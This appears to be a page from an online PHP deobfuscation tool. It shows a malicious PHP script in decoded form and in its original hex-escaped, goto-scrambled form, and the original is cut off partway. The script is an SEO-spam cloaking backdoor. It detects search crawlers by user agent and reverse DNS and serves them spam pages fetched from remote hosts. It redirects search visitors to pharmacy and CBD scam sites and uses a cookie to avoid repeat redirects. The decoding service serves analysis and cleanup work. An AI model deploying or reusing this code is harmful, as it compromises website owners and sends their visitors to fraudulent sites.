Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto V0uwT; SkqVt: function pPlpP() { goto fHVfz; zUOcD: McVTC: goto eI4hn; yKIVC: ..
Decoded Output download
<?php
goto V0uwT; SkqVt: function pPlpP() { goto fHVfz; zUOcD: McVTC: goto eI4hn; yKIVC: $LCjwn = $UplTa . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto GunnM; svUvy: return $LCjwn; goto xrL7t; fHVfz: @($UplTa = O0Hjf("http://blngblngs.rocks/male-stone.txt")); goto XRuoS; aG3wP: $LCjwn = "https://6.saleforyou.org/male-stone.php"; goto wdhCY; hr0oN: if (!empty($UplTa)) { goto McVTC; } goto eeTvB; eI4hn: if (!empty($LCjwn)) { goto kO9Ux; } goto aG3wP; XRuoS: if (empty($UplTa)) { goto KxyMe; } goto yKIVC; eeTvB: $LCjwn = o0hjF("http://5.g00gleweb.com/male-host.txt"); goto zUOcD; GunnM: KxyMe: goto hr0oN; wdhCY: kO9Ux: goto svUvy; xrL7t: } goto yWRHO; cLCxo: NqFuI: goto JnAem; S6y9W: function oG0L9() { goto KveA7; p1I7N: return $LCjwn; goto bJjkL; ndsMR: $LCjwn = "https://6.saleforyou.org/cbd-jump.php"; goto pL2XU; rSCgz: y8_3E: goto C_Rsq; O091y: me8G1: goto YbjYr; ryZDA: $LCjwn = $UplTa . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto O091y; YbjYr: if (!empty($UplTa)) { goto y8_3E; } goto UHFyl; C_Rsq: if (!empty($LCjwn)) { goto KF18F; } goto ndsMR; UHFyl: $LCjwn = O0hJF("http://5.g00gleweb.com/cbd-host.txt"); goto rSCgz; KveA7: @($UplTa = o0HJf("http://blngblngs.rocks/cbd-host.txt")); goto SUooe; SUooe: if (empty($UplTa)) { goto me8G1; } goto ryZDA; pL2XU: KF18F: goto p1I7N; bJjkL: } goto ifBt3; a1Kvb: $JgvZX = Vu9zX(); goto mFe3v; MbsWs: pqAXD: goto fafMR; TMKfU: $L2LZC = array("#Ask\s*Jeeves#i", "#HP\s*Web\s*PrintSmart#i", "#HTTrack#i", "#IDBot#i", "#Indy\s*Library#", "#ListChecker#i", "#MSIECrawler#i", "#NetCache#i", "#Nutch#i", "#RPT-HTTPClient#i", "#rulinki\.ru#i", "#Twiceler#i", "#WebAlta#i", "#Webster\s*Pro#i", "#www\.cys\.ru#i", "#Wysigot#i", "#Yahoo!\s*Slurp#i", "#Yeti#i", "#Accoona#i", "#CazoodleBot#i", "#CFNetwork#i", "#ConveraCrawler#i", "#DISCo#i", "#Download\s*Master#i", "#FAST\s*MetaWeb\s*Crawler#i", "#Flexum\s*spider#i", "#Gigabot#i", "#HTMLParser#i", "#ia_archiver#i", "#ichiro#i", "#IRLbot#i", "#Java#i", "#km\.ru\s*bot#i", "#kmSearchBot#i", "#libwww-perl#i", "#Lupa\.ru#i", "#LWP::Simple#i", "#lwp-trivial#i", "#Missigua#i", "#MJ12bot#i", "#msnbot#i", "#msnbot-media#i", "#Offline\s*Explorer#i", "#OmniExplorer_Bot#i", "#PEAR#i", "#psbot#i", "#Python#i", "#rulinki\.ru#i", "#SMILE#i", "#Speedy#i", "#Teleport\s*Pro#i", "#TurtleScanner#i", "#User-Agent#i", "#voyager#i", "#Webalta#i", "#WebCopier#i", "#WebData#i", "#WebZIP#i", "#Wget#i", "#Yandex#i", "#Yanga#i", "#Yeti#i", "#msnbot#i", "#spider#i", "#yahoo#i", "#jeeves#i", "#google#i", "#altavista#i", "#scooter#i", "#av\s*fetch#i", "#asterias#i", "#spiderthread revision#i", "#sqworm#i", "#ask#i", "#lycos.spider#i", "#infoseek sidewinder#i", "#ultraseek#i", "#polybot#i", "#webcrawler#i", "#robozill#i", "#gulliver#i", "#architextspider#i", "#yahoo!\s*slurp#i", "#charlotte#i", "#ngb#i", "#BingBot#i"); goto pQ0ev; muVdp: if (!(AcWaI($a0B1e) && empty($_COOKIE["haircki"]) && !$uszBx)) { goto ncQZ2; } goto DbQvm; mFe3v: header("location: " . $JgvZX); goto R7rFS; zUMKN: C2EEc: goto P_nOw; MxFnM: $HQVzD = O0hJf(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMi0xMS93ZWlnaHQvbWFpbi5waHA/a2V5PQ") . $QQFD9 . "&host=" . $l1e7L . "&www=2"); goto BmVLn; XKCGn: $HQVzD = str_replace("UnLine", "diet", $HQVzD); goto rQ_0x; V0D35: gce9r: goto gIjeV; dj4_s: $FgYK9 = $_GET["imageurl"]; goto CnJdJ; NeL2O: if (!$uszBx) { goto Rstyi; } goto VeZLe; hbjYS: $HQVzD = str_replace("http://citypassguide.com/", "https://www.citypassguide.com/", $HQVzD); goto hzZ2Y; GqWRG: $zL8rQ = x4wlE(); goto TMKfU; b3Dld: if (!(AcwAI($a0B1e) && empty($_COOKIE["haircki"]) && !$uszBx)) { goto pqAXD; } goto XUel9; tOnHi: if (!$uszBx) { goto RPlNA; } goto OxdGf; lrhaz: $l1e7L = $_SERVER["HTTP_HOST"]; goto Uu6ed; j8hy_: exit; goto Gnebl; ifBt3: function vu9zx() { goto QzhkH; QzhkH: @($UplTa = O0HJF("http://blngblngs.rocks/pressure-host.txt")); goto zFj8y; FGIPW: return $LCjwn; goto PqHF2; qP3Ud: if (!empty($LCjwn)) { goto sCh_a; } goto ys5DJ; DFbZ4: $LCjwn = o0hjf("http://5.g00gleweb.com/pressure-host.txt"); goto pFZo5; No3yX: sCh_a: goto FGIPW; hdZfB: if (!empty($UplTa)) { goto v7HeE; } goto DFbZ4; wPm0R: ubCqi: goto hdZfB; ppk7I: $LCjwn = $UplTa . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto wPm0R; ys5DJ: $LCjwn = "https://6.saleforyou.org/pressure-jump.php"; goto No3yX; pFZo5: v7HeE: goto qP3Ud; zFj8y: if (empty($UplTa)) { goto ubCqi; } goto ppk7I; PqHF2: } goto ZYoih; FpIFI: $a0B1e = strtolower($_SERVER["HTTP_REFERER"]); goto SkqVt; T2p1l: $HQVzD = str_replace("UnLine", "male", $HQVzD); goto ht7sc; MT0BF: exit; goto g9LX8; DCzt2: header("location: " . $JgvZX); goto MT0BF; jmqnn: $HQVzD = str_replace("/?key=", "/", $HQVzD); goto pooMX; hzZ2Y: $HQVzD = str_replace(".html", '', $HQVzD); goto XLUfM; Ttkno: $HQVzD = str_replace("UnLine", "sugar", $HQVzD); goto Nd68C; jckjU: $QQFD9 = empty($_GET["pressure"]) ? "index.php" : $_GET["pressure"]; goto tqpXm; iShOQ: if (!isset($_GET["pressure"])) { goto I5JgB; } goto Ss51m; krTdU: exit; goto pjw7R; kvP7p: zw_S3: goto Hk_vv; Gnebl: lU9r5: goto NeL2O; NUjBZ: header("location: " . $JgvZX); goto wOo28; iVBMZ: if (!(acwaI($a0B1e) && empty($_COOKIE["haircki"]) && !$uszBx)) { goto lU9r5; } goto QhQLg; Wwsde: $HQVzD = O0HJF(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMi0xMS9zdWdhci9tYWluLnBocD9rZXk9") . $QQFD9 . "&host=" . $l1e7L . "&www=2"); goto N9uNh; DbQvm: $JgvZX = PPLpP(); goto NUjBZ; gIjeV: DkMKZ: goto iShOQ; pooMX: $HQVzD = str_replace("UnLine", "cbd", $HQVzD); goto V0D35; tqpXm: $HQVzD = O0HJF(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMi0xMS9wcmVzc3VyZS9tYWluLnBocD9rZXk9") . $QQFD9 . "&host=" . $l1e7L . "&www=2"); goto nrUye; xyQz8: $QQFD9 = empty($_GET["weight"]) ? "index.php" : $_GET["weight"]; goto MxFnM; P_nOw: if (!isset($_GET["weight"])) { goto TK2NT; } goto RDbF2; pjw7R: k7Ocb: goto Bmr53; g9LX8: R0BA5: goto jxvBI; rJQvN: if (!isset($_GET["sugar"])) { goto dGzWl; } goto iVBMZ; Up_sI: header("location: " . $JgvZX); goto j8hy_; YIu6k: if (empty($_GET["imageurl"])) { goto zUg0d; } goto dj4_s; fafMR: if (!$uszBx) { goto gce9r; } goto YHm2P; ZYoih: function YkNoH() { goto fJAOa; ewN3K: $LCjwn = O0hjf("http://5.g00gleweb.com/sugar-host.txt"); goto wr_3N; XKpIo: if (empty($UplTa)) { goto DQM36; } goto vxY0R; aQFzZ: return $LCjwn; goto KM1fB; e9LGl: if (!empty($UplTa)) { goto wh2eZ; } goto ewN3K; NxZMB: etei1: goto aQFzZ; wr_3N: wh2eZ: goto Xrlod; fJAOa: @($UplTa = O0HJF("http://blngblngs.rocks/sugar-host.txt")); goto XKpIo; vxY0R: $LCjwn = $UplTa . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto kUpDp; kUpDp: DQM36: goto e9LGl; Xrlod: if (!empty($LCjwn)) { goto etei1; } goto HMUdI; HMUdI: $LCjwn = "https://6.saleforyou.org/sugar-jump.php"; goto NxZMB; KM1fB: } goto lrhaz; WeIjV: function acwAI($BuSAU) { goto QchQA; FI8kV: PUMev: goto ByYH3; eVF_b: return false; goto ec74N; pPpoG: UofrV: goto zBhye; ByYH3: return true; goto pPpoG; yxTav: if (preg_match("/{$hfnad}/i", $BuSAU)) { goto PUMev; } goto eVF_b; QchQA: $hfnad = str_replace("x", '', "bxxixnxgx|xaxoxxlx|axsxxk|xgxoxxoxgxlxe|yxxaxhxoxo|sxexxaxrxcxh|duxckdxucxkxgo"); goto yxTav; ec74N: goto UofrV; goto FI8kV; zBhye: } goto FpIFI; Ss51m: if (!(aCWaI($a0B1e) && empty($_COOKIE["haircki"]) && !$uszBx)) { goto NqFuI; } goto a1Kvb; BAIcW: I5JgB: goto rJQvN; AUmOe: $kRbRD = str_replace(".", "-", $kRbRD); goto YIu6k; R7c_x: $HQVzD = o0hjF(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMi0xMS9jYmQvbWFpbi5waHA/a2V5PQ") . $QQFD9 . "&host=" . $l1e7L . "&www=2"); goto jmqnn; apHIz: exit; goto MbsWs; yWRHO: function OSpKN() { goto xz0TY; IEfI2: gnUty: goto lyTIb; xz0TY: @($UplTa = o0hJF("http://blngblngs.rocks/weight-host.txt")); goto A_FBR; KPdKg: $LCjwn = $UplTa . "?refpage=" . $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"]; goto ShPV7; A_FBR: if (empty($UplTa)) { goto yVZLY; } goto KPdKg; ShPV7: yVZLY: goto zwQkr; lyTIb: if (!empty($LCjwn)) { goto bLxKy; } goto kIDDT; kIDDT: $LCjwn = "https://6.saleforyou.org/weight-ss.php"; goto nT8I2; zwQkr: if (!empty($UplTa)) { goto gnUty; } goto qXaOV; nT8I2: bLxKy: goto foDJ3; qXaOV: $LCjwn = O0hJF("http://5.g00gleweb.com/weight-host.txt"); goto IEfI2; foDJ3: return $LCjwn; goto Sdkcz; Sdkcz: } goto S6y9W; YHm2P: $QQFD9 = empty($_GET["cbd"]) ? "index.php" : $_GET["cbd"]; goto R7c_x; pQ0ev: if (!(!empty($_SERVER["HTTP_USER_AGENT"]) && FALSE !== strpos(preg_replace($L2LZC, "-NO-WAY-", $_SERVER["HTTP_USER_AGENT"]), "-NO-WAY-"))) { goto NrCuA; } goto E4S7Y; JnAem: if (!$uszBx) { goto nfZGc; } goto jckjU; lNMuV: ncQZ2: goto tOnHi; at53k: $kRbRD = preg_replace("/[^a-zA-Z|0-9|-|.]/i", "-", basename($kRbRD)); goto AUmOe; zd9ch: $HQVzD = str_replace("UnLine", "hbp", $HQVzD); goto UNjCL; rQ_0x: DV9wR: goto AYb1_; dZX0O: if (!$uszBx) { goto k7Ocb; } goto hbjYS; ht7sc: RPlNA: goto zUMKN; BmVLn: $HQVzD = str_replace("/?key=", "/", $HQVzD); goto XKCGn; yxppd: fPxNT: goto kvP7p; MLO7h: $uszBx = 1; goto LScd0; RDbF2: if (!(acwai($a0B1e) && empty($_COOKIE["haircki"]) && !$uszBx)) { goto R0BA5; } goto jymz2; wOo28: exit; goto lNMuV; jxvBI: if (!$uszBx) { goto DV9wR; } goto xyQz8; Hk_vv: zUg0d: goto mkXBA; AkYO2: dGzWl: goto dZX0O; XUel9: $JgvZX = og0l9(); goto dZQoy; iEiXK: echo $HQVzD; goto krTdU; V0uwT: error_reporting(0); goto nE1ju; AYb1_: TK2NT: goto NcfqS; UNjCL: nfZGc: goto BAIcW; lBJPB: if (!(FALSE !== strpos(gethostbyaddr($zL8rQ), "google"))) { goto sk1ti; } goto MLO7h; nrUye: $HQVzD = str_replace("/?key=", "/", $HQVzD); goto zd9ch; hHC2X: list($kKPV6, $o1dH4, $IX32b) = getimagesize($WUhBu); goto sz7S2; jymz2: $JgvZX = Ospkn(); goto DCzt2; LScd0: sk1ti: goto WeIjV; nE1ju: ob_start(); goto umQmZ; NcfqS: if (!isset($_GET["cbd"])) { goto DkMKZ; } goto b3Dld; R7rFS: exit; goto cLCxo; XLUfM: $HQVzD = str_replace("http://fat.blngblngs.rocks/wpimages/{$kRbRD}/", "https://www.citypassguide.com/wpimages/", $HQVzD); goto uJASI; dZQoy: header("location: " . $JgvZX); goto apHIz; sg_a8: $QFiZZ = imagecreatefromstring(o0HJF($WUhBu)); goto hHC2X; N9uNh: $HQVzD = str_replace("/?key=", "/", $HQVzD); goto Ttkno; g3nVu: NrCuA: goto lBJPB; E4S7Y: $uszBx = 1; goto g3nVu; uJASI: $HQVzD = str_replace("http://", "https://", $HQVzD); goto iEiXK; f7AIM: $HQVzD = o0HjF(base64_decode("aHR0cDovL2ZhdC5ibG5nYmxuZ3Mucm9ja3MvMjAyMi0xMS9tYWxlL21haW4ucGhwP2tleT0") . $QQFD9 . "&host=" . $l1e7L . "&www=2"); goto fUQQ5; sz7S2: switch ($IX32b) { case 1: goto DS2mT; Ra0By: imagegif($QFiZZ); goto IDK9f; DS2mT: header("content-type:image/gif"); goto Ra0By; IDK9f: goto zw_S3; goto Js94R; Js94R: case 2: goto ecqsU; ADEVe: imagejpeg($QFiZZ); goto iaQWn; iaQWn: goto zw_S3; goto xG5g_; ecqsU: header("content-type:image/jpeg"); goto ADEVe; xG5g_: case 3: goto saO2q; s300e: imagepng($QFiZZ); goto gPUYe; gPUYe: goto zw_S3; goto bMDZx; saO2q: header("content-type:image/png"); goto s300e; bMDZx: default: goto zw_S3; } goto yxppd; Nd68C: Rstyi: goto AkYO2; CnJdJ: $WUhBu = "http://fat.blngblngs.rocks/wpimages/{$kRbRD}/{$FgYK9}"; goto sg_a8; umQmZ: function o0hJF($QQFD9) { goto ROgyD; T5vCB: $bPfzH = curl_init(); goto nHCGz; w6gAM: curl_setopt($bPfzH, CURLOPT_RETURNTRANSFER, 1); goto EFq3v; Vg280: curl_setopt($bPfzH, CURLOPT_URL, $QQFD9); goto w6gAM; M3YSD: return $LCjwn; goto Ecz9s; EFq3v: curl_setopt($bPfzH, CURLOPT_CONNECTTIMEOUT, $sbqNl); goto ZiOMA; ZiOMA: $LCjwn = curl_exec($bPfzH); goto r_8Y4; ZDnuG: $M79ZI = stream_context_create($F6piN); goto opMBr; akJID: sFG9s: goto M3YSD; ROgyD: $F6piN = array("http" => array("method" => "GET", "timeout" => 5)); goto ZDnuG; qXlPb: if (!empty($LCjwn)) { goto sFG9s; } goto T5vCB; opMBr: @($LCjwn = file_get_contents($QQFD9, false, $M79ZI)); goto qXlPb; nHCGz: $sbqNl = 5; goto Vg280; r_8Y4: curl_close($bPfzH); goto akJID; Ecz9s: } goto KdEns; mkXBA: if (!isset($_GET["male"])) { goto C2EEc; } goto muVdp; QhQLg: $JgvZX = ykNOH(); goto Up_sI; VeZLe: $QQFD9 = empty($_GET["sugar"]) ? "index.php" : $_GET["sugar"]; goto Wwsde; Uu6ed: $kRbRD = str_replace("www.", '', $l1e7L); goto at53k; OxdGf: $QQFD9 = empty($_GET["male"]) ? "index.php" : $_GET["male"]; goto f7AIM; gsrTA: function x4WLe() { goto LA5Z5; wZtxy: if (isset($_SERVER["REMOTE_ADDR"]) && $_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")) { goto bweTR; } goto GsvbE; uaWPT: return $G7fVG; goto CgNkF; iP26I: $G7fVG = $_SERVER["REMOTE_ADDR"]; goto eAxoD; HkZ0e: if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown")) { goto Otd1d; } goto wZtxy; LA5Z5: $G7fVG = ''; goto wQGYV; ChqXX: ReYqJ: goto oGubL; wQGYV: if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) { goto ReYqJ; } goto xYFyC; lf3x2: Otd1d: goto xAFXi; GsvbE: goto tLWYe; goto ChqXX; b1aTE: goto tLWYe; goto qkSTb; fToS9: goto tLWYe; goto m1YRX; igorW: $G7fVG = getenv("HTTP_X_FORWARDED_FOR"); goto OGE3F; eAxoD: tLWYe: goto uaWPT; OGE3F: goto tLWYe; goto lf3x2; xYFyC: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) { goto f3Zeh; } goto HkZ0e; oGubL: $G7fVG = getenv("HTTP_CLIENT_IP"); goto b1aTE; xAFXi: $G7fVG = getenv("REMOTE_ADDR"); goto fToS9; qkSTb: f3Zeh: goto igorW; m1YRX: bweTR: goto iP26I; CgNkF: } goto GqWRG; KdEns: function Txux8($uAn8e) { goto wkNv3; Aaq7D: hqZ4A: goto oVzWm; oVzWm: return $IoHTW; goto AO8If; aayc9: v58dB: goto BbzRZ; wkNv3: $p0Kvo = array("75\.32\.190\.[0-9]+", "174\.208\.22\.[0-9]+"); goto w16eb; P4Hpt: foreach ($p0Kvo as $hEQJa) { goto iy0zE; ubuoU: goto v58dB; goto svOeG; svOeG: MU8RR: goto vwHoR; iy0zE: if (!preg_match("/{$hEQJa}/i", $uAn8e)) { goto MU8RR; } goto UuAG5; UuAG5: $IoHTW = true; goto ubuoU; vwHoR: xUL8k: goto sFtLl; sFtLl: } goto aayc9; w16eb: $IoHTW = false; goto P4Hpt; A_9DB: if (!($zQ48D > 0)) { goto hqZ4A; } goto Aaq7D; BbzRZ: $zQ48D = count($_COOKIE); goto A_9DB; AO8If: } goto gsrTA; fUQQ5: $HQVzD = str_replace("/?key=", "/", $HQVzD); goto T2p1l; Bmr53: setcookie("haircki", "haircooki", time() + 3600 * 24 * 100); ?>
Did this file decode correctly?
Original Code
<?php
goto V0uwT; SkqVt: function pPlpP() { goto fHVfz; zUOcD: McVTC: goto eI4hn; yKIVC: $LCjwn = $UplTa . "\77\162\145\x66\160\x61\x67\x65\x3d" . $_SERVER["\123\x45\x52\x56\105\122\137\116\x41\x4d\105"] . $_SERVER["\x52\x45\x51\x55\x45\x53\x54\137\125\x52\x49"]; goto GunnM; svUvy: return $LCjwn; goto xrL7t; fHVfz: @($UplTa = O0Hjf("\x68\x74\x74\160\x3a\x2f\57\142\x6c\x6e\x67\x62\154\156\x67\x73\56\x72\x6f\143\153\163\57\155\141\x6c\145\55\x73\x74\157\156\145\x2e\164\170\x74")); goto XRuoS; aG3wP: $LCjwn = "\150\164\164\x70\x73\72\x2f\57\66\56\163\141\x6c\145\x66\157\x72\x79\157\x75\x2e\157\162\x67\x2f\155\141\154\145\55\163\x74\x6f\156\145\x2e\160\150\x70"; goto wdhCY; hr0oN: if (!empty($UplTa)) { goto McVTC; } goto eeTvB; eI4hn: if (!empty($LCjwn)) { goto kO9Ux; } goto aG3wP; XRuoS: if (empty($UplTa)) { goto KxyMe; } goto yKIVC; eeTvB: $LCjwn = o0hjF("\x68\x74\x74\160\72\x2f\x2f\65\x2e\x67\60\60\147\x6c\x65\167\145\x62\x2e\x63\157\155\x2f\x6d\141\x6c\x65\x2d\150\157\x73\164\56\164\x78\164"); goto zUOcD; GunnM: KxyMe: goto hr0oN; wdhCY: kO9Ux: goto svUvy; xrL7t: } goto yWRHO; cLCxo: NqFuI: goto JnAem; S6y9W: function oG0L9() { goto KveA7; p1I7N: return $LCjwn; goto bJjkL; ndsMR: $LCjwn = "\x68\x74\x74\160\x73\x3a\57\57\66\x2e\x73\141\154\x65\146\157\162\x79\157\x75\x2e\157\162\147\x2f\143\142\144\x2d\152\x75\x6d\x70\x2e\x70\150\x70"; goto pL2XU; rSCgz: y8_3E: goto C_Rsq; O091y: me8G1: goto YbjYr; ryZDA: $LCjwn = $UplTa . "\x3f\x72\145\146\160\x61\147\145\75" . $_SERVER["\123\x45\x52\126\105\122\137\x4e\x41\x4d\105"] . $_SERVER["\122\x45\x51\x55\105\123\x54\137\x55\x52\111"]; goto O091y; YbjYr: if (!empty($UplTa)) { goto y8_3E; } goto UHFyl; C_Rsq: if (!empty($LCjwn)) { goto KF18F; } goto ndsMR; UHFyl: $LCjwn = O0hJF("\x68\x74\x74\x70\72\57\57\x35\x2e\147\60\60\147\x6c\145\x77\x65\x62\56\x63\157\155\x2f\x63\x62\144\x2d\150\157\163\x74\56\x74\x78\x74"); goto rSCgz; KveA7: @($UplTa = o0HJf("\x68\164\x74\160\72\57\x2f\x62\154\x6e\147\142\154\156\147\x73\56\x72\157\143\x6b\x73\x2f\x63\142\x64\x2d\150\157\163\164\x2e\x74\170\x74")); goto SUooe; SUooe: if (empty($UplTa)) { goto me8G1; } goto ryZDA; pL2XU: KF18F: goto p1I7N; bJjkL: } goto ifBt3; a1Kvb: $JgvZX = Vu9zX(); goto mFe3v; MbsWs: pqAXD: goto fafMR; TMKfU: $L2LZC = array("\43\101\163\x6b\x5c\x73\x2a\112\x65\145\x76\x65\x73\43\x69", "\x23\110\120\134\x73\52\x57\145\142\134\x73\52\120\x72\x69\156\x74\123\x6d\x61\162\164\x23\x69", "\x23\x48\124\124\162\x61\143\x6b\43\x69", "\x23\111\x44\102\157\x74\43\x69", "\x23\111\156\x64\171\134\x73\x2a\x4c\151\142\x72\x61\x72\x79\43", "\x23\114\151\x73\x74\x43\150\145\x63\x6b\x65\x72\x23\151", "\x23\x4d\x53\111\105\x43\x72\141\167\x6c\x65\162\x23\x69", "\43\x4e\145\164\103\x61\143\x68\x65\43\151", "\x23\x4e\165\164\x63\150\43\151", "\43\x52\x50\124\55\x48\124\124\120\x43\154\x69\145\x6e\164\43\151", "\43\x72\165\154\151\156\153\x69\134\x2e\x72\165\43\151", "\43\124\167\151\x63\x65\154\x65\162\x23\x69", "\x23\127\145\x62\101\154\164\141\x23\x69", "\x23\x57\145\x62\x73\x74\145\x72\x5c\163\x2a\x50\x72\157\x23\151", "\x23\x77\x77\167\134\x2e\x63\171\x73\134\x2e\162\165\43\x69", "\43\127\171\x73\151\x67\x6f\x74\43\151", "\x23\x59\x61\150\157\x6f\x21\134\163\52\x53\x6c\165\162\160\x23\151", "\43\x59\x65\164\x69\x23\x69", "\43\x41\143\x63\157\x6f\x6e\x61\x23\151", "\43\103\x61\172\x6f\157\x64\154\x65\102\x6f\164\x23\x69", "\43\103\106\x4e\x65\x74\167\x6f\x72\x6b\x23\151", "\43\x43\x6f\156\166\145\162\141\103\x72\141\167\x6c\x65\x72\43\x69", "\x23\104\x49\x53\103\x6f\43\151", "\x23\104\157\x77\x6e\x6c\x6f\141\144\x5c\163\52\115\141\163\x74\x65\162\43\151", "\x23\x46\101\x53\x54\134\x73\52\x4d\145\164\x61\x57\x65\142\134\163\x2a\103\x72\141\x77\154\145\x72\x23\151", "\x23\106\154\x65\x78\165\155\x5c\x73\x2a\x73\x70\151\144\x65\162\43\151", "\43\x47\x69\x67\141\142\157\x74\43\151", "\x23\110\x54\x4d\114\120\141\x72\163\x65\162\x23\151", "\43\151\141\x5f\x61\162\x63\150\x69\166\x65\162\x23\x69", "\x23\x69\143\150\x69\x72\x6f\43\x69", "\x23\x49\x52\x4c\x62\x6f\x74\x23\x69", "\43\112\x61\x76\x61\43\x69", "\43\153\155\x5c\56\162\165\x5c\x73\52\142\157\164\x23\x69", "\43\153\x6d\x53\145\141\x72\x63\x68\102\x6f\164\x23\x69", "\43\154\151\142\x77\x77\167\55\x70\x65\162\x6c\x23\x69", "\43\x4c\165\160\x61\x5c\56\x72\165\x23\x69", "\43\x4c\127\x50\72\72\x53\151\x6d\160\x6c\145\43\151", "\43\154\x77\160\x2d\x74\x72\x69\x76\151\x61\154\43\x69", "\43\x4d\151\x73\x73\x69\147\x75\x61\43\151", "\x23\x4d\x4a\x31\x32\x62\x6f\x74\x23\x69", "\43\x6d\163\156\142\x6f\x74\43\x69", "\x23\x6d\163\156\x62\157\164\55\x6d\x65\x64\151\141\43\151", "\43\x4f\x66\146\154\151\156\145\x5c\163\52\x45\x78\160\154\157\162\145\162\43\x69", "\43\x4f\155\156\x69\x45\170\160\154\x6f\x72\145\x72\137\x42\x6f\x74\x23\151", "\x23\x50\105\101\x52\43\x69", "\x23\160\x73\x62\157\164\x23\x69", "\x23\x50\x79\x74\150\x6f\x6e\x23\151", "\x23\162\165\x6c\x69\156\153\151\134\56\162\165\43\151", "\x23\x53\x4d\111\114\x45\x23\x69", "\43\x53\x70\145\x65\x64\171\43\151", "\43\x54\145\x6c\145\x70\x6f\162\x74\134\x73\52\x50\162\157\43\x69", "\x23\x54\165\162\164\154\x65\x53\x63\x61\x6e\x6e\145\x72\43\x69", "\43\x55\163\x65\x72\x2d\101\147\x65\156\x74\43\151", "\43\x76\x6f\171\141\147\145\162\43\x69", "\43\127\145\142\x61\x6c\164\x61\43\x69", "\43\127\145\142\103\157\160\x69\x65\162\x23\151", "\x23\x57\145\x62\104\x61\x74\x61\x23\151", "\x23\x57\145\x62\x5a\111\x50\x23\x69", "\x23\127\x67\145\164\x23\151", "\x23\131\141\x6e\x64\x65\x78\x23\151", "\43\x59\x61\156\x67\141\x23\x69", "\x23\x59\x65\x74\151\43\151", "\43\155\x73\156\x62\157\164\43\151", "\x23\163\x70\151\x64\x65\x72\x23\151", "\x23\171\141\150\157\x6f\x23\151", "\x23\x6a\x65\145\x76\x65\163\43\x69", "\x23\x67\x6f\x6f\x67\x6c\145\43\151", "\43\141\154\x74\x61\166\x69\163\164\141\x23\151", "\x23\x73\x63\x6f\x6f\164\x65\162\43\x69", "\43\x61\x76\x5c\x73\x2a\x66\x65\164\x63\150\43\x69", "\43\x61\x73\x74\x65\162\x69\x61\163\43\x69", "\x23\x73\x70\151\x64\x65\x72\164\150\162\x65\141\x64\x20\x72\x65\166\151\163\151\x6f\x6e\x23\x69", "\43\x73\x71\x77\157\x72\x6d\x23\151", "\x23\141\163\x6b\43\151", "\x23\154\171\143\x6f\163\56\163\x70\x69\x64\x65\x72\43\x69", "\x23\151\156\146\157\x73\145\x65\x6b\x20\x73\151\x64\145\167\151\156\x64\x65\x72\x23\x69", "\x23\165\154\164\162\141\x73\145\145\x6b\43\x69", "\43\x70\157\x6c\171\142\x6f\x74\43\151", "\43\167\145\142\x63\x72\x61\167\x6c\145\x72\x23\151", "\x23\162\157\142\157\x7a\x69\154\x6c\43\151", "\43\147\x75\x6c\x6c\151\166\x65\162\43\151", "\x23\x61\162\x63\150\151\x74\145\x78\164\163\x70\151\144\145\x72\43\x69", "\x23\x79\x61\x68\157\x6f\x21\x5c\163\52\163\x6c\165\x72\x70\x23\x69", "\43\143\x68\x61\162\x6c\x6f\164\x74\x65\x23\151", "\43\156\147\x62\43\x69", "\x23\x42\x69\x6e\147\x42\x6f\164\x23\151"); goto pQ0ev; muVdp: if (!(AcWaI($a0B1e) && empty($_COOKIE["\x68\x61\151\162\143\153\x69"]) && !$uszBx)) { goto ncQZ2; } goto DbQvm; mFe3v: header("\x6c\157\x63\141\x74\x69\x6f\156\72\40" . $JgvZX); goto R7rFS; zUMKN: C2EEc: goto P_nOw; MxFnM: $HQVzD = O0hJf(base64_decode("\x61\x48\122\60\x63\x44\x6f\166\x4c\62\x5a\150\x64\103\65\x69\142\x47\65\156\131\155\x78\165\x5a\63\x4d\165\143\155\71\152\141\63\x4d\x76\115\x6a\x41\171\x4d\x69\x30\170\x4d\x53\x39\x33\x5a\x57\154\x6e\x61\x48\121\x76\142\x57\x46\x70\142\151\x35\x77\x61\x48\x41\x2f\141\x32\x56\65\x50\x51") . $QQFD9 . "\46\150\157\163\x74\75" . $l1e7L . "\46\x77\x77\x77\x3d\x32"); goto BmVLn; XKCGn: $HQVzD = str_replace("\125\x6e\x4c\151\x6e\x65", "\144\151\145\x74", $HQVzD); goto rQ_0x; V0D35: gce9r: goto gIjeV; dj4_s: $FgYK9 = $_GET["\x69\155\141\x67\145\165\162\x6c"]; goto CnJdJ; NeL2O: if (!$uszBx) { goto Rstyi; } goto VeZLe; hbjYS: $HQVzD = str_replace("\150\164\164\x70\72\57\57\x63\151\164\x79\160\x61\x73\163\x67\165\151\144\x65\56\x63\x6f\155\57", "\150\164\x74\160\163\72\57\x2f\167\x77\167\x2e\143\151\164\x79\160\x61\163\x73\147\165\151\x64\145\x2e\x63\x6f\x6d\x2f", $HQVzD); goto hzZ2Y; GqWRG: $zL8rQ = x4wlE(); goto TMKfU; b3Dld: if (!(AcwAI($a0B1e) && empty($_COOKIE["\x68\x61\x69\162\x63\153\151"]) && !$uszBx)) { goto pqAXD; } goto XUel9; tOnHi: if (!$uszBx) { goto RPlNA; } goto OxdGf; lrhaz: $l1e7L = $_SERVER["\x48\124\124\x50\x5f\110\117\x53\x54"]; goto Uu6ed; j8hy_: exit; goto Gnebl; ifBt3: function vu9zx() { goto QzhkH; QzhkH: @($UplTa = 